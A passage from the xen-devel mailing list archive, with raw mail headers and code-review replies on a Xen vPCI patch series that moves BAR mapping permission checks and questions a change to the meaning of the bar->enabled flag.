afraid.  It's likely too late now, but those XSM checks should instead
return a bool to avoid this kind of confusion with the returned
error? (or whether diverse return codes are indeed expected).

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 15:06:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 15:06:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369303.1618146 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmv0A-0002Te-4g; Thu, 23 Jul 2026 15:06:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369303.1618146; Thu, 23 Jul 2026 15:06:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmv0A-0002TX-1z; Thu, 23 Jul 2026 15:06:22 +0000
Received: by outflank-mailman (input) for mailman id 1369303;
 Thu, 23 Jul 2026 15:06:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmv08-0002TP-2r
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:06:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmv07-007viq-4Y
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 17:06:19 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622dc5-bab6-0a2a0a5309dd-0a2a45039cec-44
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:06:19 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a622dea-fae8-0a2a45030019-d155dd34d490-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:06:18 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f93b2fe4cso299361f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 08:06:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c63678sm14919860f8f.29.2026.07.23.08.06.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 08:06:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784819178; x=1785423978; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=R4P8vmSdxeRWT1lULMVK7NIjbqCuYx/eXCTVexcFIV0=;
        b=T/v73WdUqLKzlvjO2mxDNvomD0JzHJOVfe0KNbJNS+ULtT4ovI5aIn8oyMedaRF3Qa
         mhgzS+4vYcytAveN5khWpEt2nqTBAMe/lRfpn78mGMdlSj69VPVfWh3WO2lwpv3x3LcF
         fOMLs8X2DboWpQwrppICVPVpHGCej6Aef0PS2AJZMoDajmArSmLyLfOUyCxH2x6TjPqk
         ayiG5vOavMexL39M+v3O1rQckVbhwlKuwz2LmMePvyh5QCABHeywRXVMrgr+jpjov/1q
         rUY+mu8ZePCSVitxVPolt5zH0c+uIlMVu2vDNzVCTgsGwUEgBHO5SVxAaUiGpRd/HXEh
         qRCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784819178; x=1785423978;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=R4P8vmSdxeRWT1lULMVK7NIjbqCuYx/eXCTVexcFIV0=;
        b=raaY69FlyMYQI4wJ6tNfK1xTckeX7kr00gD3YLKH8rTQnR++Y2pkqp8TVrH40M8irh
         1C6BR8ZjmkinoKzu6KFvQg+MKZiR2ByYoNJtgQrTipGIMVUpRm5MObkzncKakEDiXF4f
         sLH8OHKjSaR9iQTsAZUXomQbxNBR2Tjp85DzqvRW/mtgpomNe0fsgXMgjFQuRN21M97K
         qRoF06RipnhpuhlEcWc6lSN8a9aMzkBu1KhhpJfuZTJUbPH3+dCX0zRNZ9I+/yJf/xYo
         3n8lb4o/EFqs3gApKA+RH7BXv1C+RKn+GXfUf7pdXD8BH1ZF9p/Ob4OHPa8trvtGBDP3
         eyHg==
X-Forwarded-Encrypted: i=1; AHgh+RrR5kOLn8hIvS4WOwAxmVkThOBmG5mSy1K41Ckv1CybYYwVKvh7GKa0qpUycA0sywJCWymRjvq7w5g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwgprsbM/Myy0eAENqSxMn2Q0qKqHMxt74CwUYiCab7kPzYYzyr
	pWIVQdIm1xlWLmJmR/buhJKX9wg/1xat00SwvHq7AONDIgQmIHELyA5Jl4afPv+Ws1vr/ZyGo7s
	umhP86Q==
X-Gm-Gg: AR+sD13Cn9qmwoGJhDSE7MsyI8IWB38bLNLRh6NFkCmBZvYRpUgoztHi0SbEPeWA21G
	+gr2geI7sOMjzBqJ+q3oB9O3F15QJxaiQUvAg2nNE/u2gkJ3ClILI31BkPqOZub6FUIRxkOcjZK
	oR+iJEzMHoiEbRKyEeRMTO9qUMzVQNGxAFegcbuQCeHPK4nfRx21RXDMwqicTc4n5/WsuIMGhkW
	IQ+KfrWF/849d4XpHGHwvLrG5ya8B1SCLwQvKwDJASBLia9EMPWUa/dRRoJ/Q6/eBXwGw6+bzVB
	I+hmqydcKr8jEvxu1iPKQ/H+XAlNu8X1R4+k6Aby4meq+F8bmSwAtfxCuID9yiVPzyjtzk7mqYx
	WGE/KuKRIjFpvZ01eNb9Pfdhv7q52wB0aYAXSkOYgNo/y4OrHwVpFaz3X4A/v5JRPg0p8cOPwS4
	DVJj7LXx1iCBT4J34XjmvaMr35lsHxd1U02YS6Mll4eOQcDz62bdPJRf/lnzs6+effFjHvFMYmh
	Zg9
X-Received: by 2002:a05:6000:4a1b:b0:472:7dce:d8c7 with SMTP id ffacd0b85a97d-47f8dc9739fmr4481193f8f.36.1784819178267;
        Thu, 23 Jul 2026 08:06:18 -0700 (PDT)
Message-ID: <21e786bb-7ea6-47eb-97de-5b6b25466a83@suse.com>
Date: Thu, 23 Jul 2026 17:06:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 1/9] vpci: move BAR mapping permissions checks
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: Stewart Hildebrand <stewart.hildebrand@amd.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-2-stewart.hildebrand@amd.com>
 <0255d2bf-748e-444b-8c09-f69925ec88c4@suse.com>
 <amIrwLuIdOBaAi9d@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcy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s8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <amIrwLuIdOBaAi9d@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784819179-776F34E9-5F49C462/0/0
X-purgate-type: clean
X-purgate-size: 2689

On 23.07.2026 16:57, Roger Pau MonnÃ© wrote:
> On Thu, Jul 23, 2026 at 04:44:26PM +0200, Jan Beulich wrote:
>> On 08.07.2026 23:02, Stewart Hildebrand wrote:
>>> --- a/xen/drivers/vpci/header.c
>>> +++ b/xen/drivers/vpci/header.c
>>> @@ -58,24 +58,6 @@ static int cf_check map_range(
>>>           * offset of the current address from the BAR start.
>>>           */
>>>          unsigned long map_mfn = start_mfn + s - start_gfn;
>>> -        unsigned long m_end = map_mfn + size - 1;
>>> -
>>> -        if ( !iomem_access_permitted(map->d, map_mfn, m_end) )
>>> -        {
>>> -            printk(XENLOG_G_WARNING
>>> -                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
>>> -                   map->d, map_mfn, m_end);
>>> -            return -EPERM;
>>> -        }
>>> -
>>> -        rc = xsm_iomem_mapping_vpci(XSM_HOOK, map->d, map_mfn, m_end, map->map);
>>> -        if ( rc )
>>> -        {
>>> -            printk(XENLOG_G_WARNING
>>> -                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
>>> -                   map->d, map_mfn, m_end, rc);
>>
>> I realize you literally only take what's here, but ...
>>
>>> @@ -369,6 +351,28 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
>>>              return -EINVAL;
>>>          }
>>>  
>>> +        if ( !iomem_access_permitted(pdev->domain, start, end) )
>>> +        {
>>> +            printk(XENLOG_G_WARNING
>>> +                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
>>> +                   pdev->domain, start, end);
>>> +            if ( !is_hardware_domain(pdev->domain) )
>>> +                domain_crash(pdev->domain);
>>> +            return -EPERM;
>>> +        }
>>> +
>>> +        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
>>> +                                    !!(cmd & PCI_COMMAND_MEMORY));
>>> +        if ( rc )
>>> +        {
>>> +            printk(XENLOG_G_WARNING
>>> +                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
>>> +                   pdev->domain, start, end, rc);
>>
>> ... is the logging of rc actually useful? Afaict it's only ever going to be
>> -EPERM.
> 
> I think Flask can also return -EACCES, not that it's very relevant I'm
> afraid.

Hmm, looks like this can indeed happen. Please disregard this comment of
mine then.

>  It's likely too late now, but those XSM checks should instead
> return a bool to avoid this kind of confusion with the returned
> error? (or whether diverse return codes are indeed expected).

Depends on whether having distinct error codes is wanted. Daniel?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 15:46:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 15:46:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369344.1618156 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmvcr-00085v-5G; Thu, 23 Jul 2026 15:46:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369344.1618156; Thu, 23 Jul 2026 15:46:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmvcr-00085o-2B; Thu, 23 Jul 2026 15:46:21 +0000
Received: by outflank-mailman (input) for mailman id 1369344;
 Thu, 23 Jul 2026 15:46:20 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmvcq-00085i-NS
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:46:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmvcp-00Bc75-Sn
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 17:46:19 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a623740-bab6-0a2a0a5309dd-0a2a4504d7e8-36
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:46:19 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a62374b-b57f-0a2a45040019-d1558033d083-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:46:19 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-495757ccbc1so6461655e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 08:46:19 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956b021fa6sm114823435e9.2.2026.07.23.08.46.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 08:46:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784821579; x=1785426379; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=EIeSokgDTNwxjhnrGX/Nzsxwu/8Yf05TaPejsmfWFgo=;
        b=W55uOdqrJ4NZURzFC9tR4qIQtgYSsxHUB5BBDyDy9QiHU/pOdBP4jnapkQY15UB7bS
         siVS6mMPUabTkoTne5kK2Hykbo9rfm0+eV1Cje56ck2fAljbHpmtZJdEwraq2O+GijDa
         2Nnxxxj7ae1uD7a2taCjO8QzwX20kfasjJyfC9Z0z27IXTJNlOLmwIcgUPB03va47A2g
         I+8UJG5hVzjOD5NFAtucgsi8xLkhx2Xw6AM46Ai4SulktJst8anQhEPQgNZKCJmsBajz
         WC3L1vRSkXnecpUJSNAj3D0z8jnKYi5MpgARPLgTG+vioUMQNkfhpnSCcgNAf7Qrc68p
         WN6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784821579; x=1785426379;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=EIeSokgDTNwxjhnrGX/Nzsxwu/8Yf05TaPejsmfWFgo=;
        b=dJey6N2yjxvdZ332i8xdQErY2FGBIMayNp8IpgrqGrZ4ajCKUHzNSKN8TUUKQSTcwz
         bs4q/wa7NUj/cTrApaHeWcjhxB9milwLMj15PHxC53a0SVpxcLGVm0Yl5YnyejaHVFfe
         dXWokUH89w2ii/QpwapZWOdaSC3x//pkYOp54GKUQ2F4Sis1iFXYaH009fHTDIxjCyLr
         RcXI/r9GYgYJyDJUeivkfXdgW7JJA2aEa/JH5rVdO14LCs5o1D8nM6XUS0Tu1pyAdebb
         XVXb6tqBFjfXeUpTVHD89PlD6u8iN3tRaFg0YsvasafMJEyuiDG/6mB4shJ7xvOdSa/l
         A5CQ==
X-Forwarded-Encrypted: i=1; AHgh+Rpn5k/2+u2OnNV604cPCHzziiLHqZL2WUU4jd3/gSFtlZ1zzArQJIfS0va8p2dUBi0XeFtWSyfElqw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yya1AC6zpRShvHXfVFIhd20qVRzgGMjYk0Qcf6CgfNVQj60Crs2
	gN9MtbsjasVXF7vuZLIFZ7+drFeEgeH8hDqDUfAOKroOZ2YX+RhGF4KhLy83mZRXRw==
X-Gm-Gg: AR+sD13bXRo9h0oygxQ0+tnt0DSEB2LW2ksyJYV0v8jtOQ4RG/JP+gAD2er8OGcX+b8
	2H/Pl30IAbQkYkPzK7V5/ShzHZBUSGQDQ5WOCZpfquo0l8UDOcTvIf8m0Pnx7zKSQXkonjUOLkZ
	9hyTsHa6Vno6vqPir0NKL2+Tjy37xd6HTLUGMsqfE3WGOG4+8u5hzciVz3emAI8vJm4jmgsebmz
	hX11yQGNNlM4DH1BNpb9XsSVGM40ufPeXroLO/reNMQrQhdB8NMYeKeijHOBS97M4OCFTlLbpnq
	7/V/HIWkcnmMTgnNfqzg/QO6l4meXaobBM4nsUkm+gDk2rP4MsVJuYF7HmDiaDFtjaebk0DVufV
	3DIYcakmsY3QYtD+aNhH6iIEJHDchvCRsAHh1VTRMw2Cwib1hWxZr1IUg3ZOdpBxh1LcuI5unjf
	Zg6M579dzUceEn0B2sgHAvsBO9xNVbb5Fs96rkgLauuJuSesPgjyRNZgZolk3IGFlQRg==
X-Received: by 2002:a05:600c:3b1d:b0:495:7ab0:445b with SMTP id 5b1f17b1804b1-4957ab0447cmr4130015e9.27.1784821579171;
        Thu, 23 Jul 2026 08:46:19 -0700 (PDT)
Message-ID: <691cd080-b41b-4921-8524-9ce97137801b@suse.com>
Date: Thu, 23 Jul 2026 17:46:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 3/9] vpci: only check BAR validity once
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>, xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-4-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSD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jcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-4-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784821579-C1AD0B50-5B437FFE/0/0
X-purgate-type: clean
X-purgate-size: 1176

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> From: Roger Pau Monne <roger.pau@citrix.com>
> 
> The BAR validity checks in modify_decoding() are redundant since they
> are already done in modify_bars().
> 
> Avoid multiple calls to pci_check_bar() for the same memory decoding
> related operation, as each call can possibly print a warning message
> about a BAR being in an invalid position.
> 
> Further, there's no need to defer setting bar->enabled until p2m
> operations are finished. It can safely be set in modify_bars() itself.
> This slightly changes the meaning of the bar->enabled flag: when true,
> it means a BAR is either mapped or queued to be mapped.

But are all consumers of the flag okay with this semantic change? What
would clear the flag if the mapping failed? It looks to me as if e.g.
msix_find()'s behavior would change then.

> @@ -296,6 +287,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
>      struct pci_dev *tmp;
>      const struct domain *d;
>      const struct vpci_msix *msix = pdev->vpci->msix;
> +    bool bar_valid[ARRAY_SIZE(header->bars)] = { false };

Just {} ?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 15:59:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 15:59:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369356.1618165 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmvpN-0001VE-60; Thu, 23 Jul 2026 15:59:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369356.1618165; Thu, 23 Jul 2026 15:59:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmvpN-0001V7-3O; Thu, 23 Jul 2026 15:59:17 +0000
Received: by outflank-mailman (input) for mailman id 1369356;
 Thu, 23 Jul 2026 15:59:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmvpM-0001V1-6t
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:59:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmvpL-00GIlZ-K7
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 17:59:15 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a623a51-5cb7-0a2a0a5109dd-0a2a45089eda-4
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:59:15 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a623a53-f659-0a2a45080019-d155dd2ca950-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 17:59:15 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-4720f3bf164so441984f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 08:59:15 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85c6d277sm17006857f8f.32.2026.07.23.08.59.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 08:59:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784822355; x=1785427155; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=evsyqrqieCD0C8dQZlE01KrvCm/bGqDTqEzmszC6Rgg=;
        b=gFrXsemYJTEOJHT1mCHf/bBwWRWqxY9AhqEE1435jM41zAjW9oZuVehGkqr0fcbU8+
         SLtEDXh4biUsm5WSWtRCnUOIhRES+43enbexTWSCcRkZieIhTFSe773XVCtyDmGo6lQZ
         Oi2WzeJtpK5bx5GfjcTznxawIILG8Yl3xepaHPlWgOM0ePttJ4RcN4ydE2CZEUlpk4Sj
         RCrBlYbJkMc7kIqbH8DlVBk/AvKLS8kIx+Af5L8xkWlrU5SR7N4gRLceDyp8ae/XrsP8
         Ve7ldvdoMv5US5TQwtsTolLIAZwaTUSfD/w2pESDHN55uyjD1ruwcRw3HI5NGB3fjOGT
         1TLQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784822355; x=1785427155;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=evsyqrqieCD0C8dQZlE01KrvCm/bGqDTqEzmszC6Rgg=;
        b=FHDBfddA449dmrRsP80uyLVz9ayLOz40buCtpo8SrUepK2CmkH4JHj8lkslmkL3ZPG
         L8xmLuMyiSq7fntDL8s9SLCz+g8fXbwBJ7L+4EtT/Ozj0Oy8/3YcSUa5ZPx96uNVUqzu
         M8CLjne+F/qkYzgfxa1hX4c46i0MAGWugVrL8WuZDECOdkftRmEGWTjWFAHsAHjxHsQp
         Bq6d3dhRBEVWuYkDq/nX+JCP59eSgBgAKQBKx/YzEsZnBM0tDtoBxeSACrOpPoGo2aF4
         KI7wZiPTwczJIP5U6Tk24bh0TeuDFy1W9ZIwVAun1GQBv+0HWuiSkhzouWd8arzhrrK4
         Zy0A==
X-Forwarded-Encrypted: i=1; AHgh+Roh2B38VxkdBjM37DcULwnUum4kMN7Fese9De/tc5YSFEzAS1oBoAh66gWhegevh3q7atSK+uYVwbI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw/aiZefmuDRNAS8dDCQuIVmVMZAgncmZCahNAbHPutHjUm2Bzs
	A9ASIFuehxWbAF/mYE6+swdE9JN/A2l4SJmiI+E2oybJ0MwxBUumQCqgqLa11IP5hw==
X-Gm-Gg: AR+sD10p244yJibnqs2LAvMd8i8OtSb9qpqLfWAPyFuj04V9Fs8gfAK1JmnSrN2bMJi
	u0G/73Qc8I8ds9gEYCTugtPRWW7Xj6n0K0y3Jg2Z7SyCzJ2ODXWxFj9lq8hHz6gxxMi3EEN0F+N
	/WcnpxtLazunGqKmXw8UnqcK7RqiovQCcpyinqL6zYFks2dYMcXZhDrySnrywlwOrz78WuPlrY5
	/zjA82fDoqvmhFixC08tuBxmJpUHKKfSENqzzHuBDrsH27ycZNoKmeDTOrBFGJk5MxeGCAFnXrO
	LpI8VUDy0bT/A89lEv6V1YObh8NKlt7+/zDWjWP5s/mHKsYVjjaTMft7MNwW6dp1C1u+UbzwdEa
	fdpSg8p+3IGRE5Qf3BrOGtdQmYpmQ7dt9QsYcYp3A20ItpYDHtDZXns5A8qT1x+89p5dUgSV0bR
